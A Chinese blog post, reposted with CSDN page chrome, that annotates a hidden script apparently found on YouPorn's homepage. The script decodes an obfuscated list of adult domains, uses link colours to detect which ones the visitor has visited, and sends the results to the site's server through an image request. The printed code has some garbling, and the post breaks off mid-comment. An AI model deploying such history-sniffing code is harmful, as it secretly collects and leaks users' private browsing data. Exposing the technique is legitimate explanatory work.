悄悄用脚本检查你访问过哪些色情网站

YouPorn是YouTube的成人自拍版,Alexa排名61。如果你登陆YouPorn主页, 它会悄悄用脚本检查你访问过哪些色情网站。打开它的“页面源文件”,你能找到一段加密过的JS脚本:
function ypol(){

 //K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。
  var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs/dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};

  var g=[];
  for(var m in k){
    var d=k[m];//遍历k中的元素赋值给d
    var a="";
    for(var f=0;f<d.length;f++){
      a+=String.fromCharCode(d.charCodeAt(f)-1);
    }/* 这里把d中的每一条字符都还原了。
      * charCodeAt(char) 函数返回char的ascii码
      * String.fromCharCode(asccii) 返回ascii码对应的字符
      * 然后把结果赋值给a
      * 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com
      */
    var h=false;
   /*
     * 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/
     * 为什么要循环来2次,目的是为了准确性
     * 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名
     * 所以要区别对待
     */
    for(var j in {"http://":"","http://www.":""}){
      var l=document.createElement("a");//创建一个A对象
      l.href=j+a;
      document.getElementById("ol").appendChild(l);
     // A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS
      var e="";
      if(navigator.appName.indexOf("Microsoft")!=-1){
        e=l.currentStyle.color;//取IE中A对象的颜色
      }else {
        e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
       //取其他标准浏览器的颜色
      }
      if(e=="#0c2238"||e=="#0c2238"){
       /*
         * 如果是紫色,就表示访问过此站点。
         * 浏览器默认给访问过的链接标记为紫色
         * a:visited{color: #123456}
         */
        h=true;
      }
    }
    if(h){//如果访问过,把站点加入列表g
      g.push(m);
    }
  }
  var b=(g instanceof Array)?g.join(","):"";//把g由数组变成字符串
  var c=document.createElement("img");       //建立一个img对象
  c.src="http://ol.youporn.com/blank.gif?id="+b;//img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值
  document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样
 /*
   * 以一次图片访问,在web-server

转载于:https://www.cnblogs.com/ideas/archive/2010/12/04/1896510.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值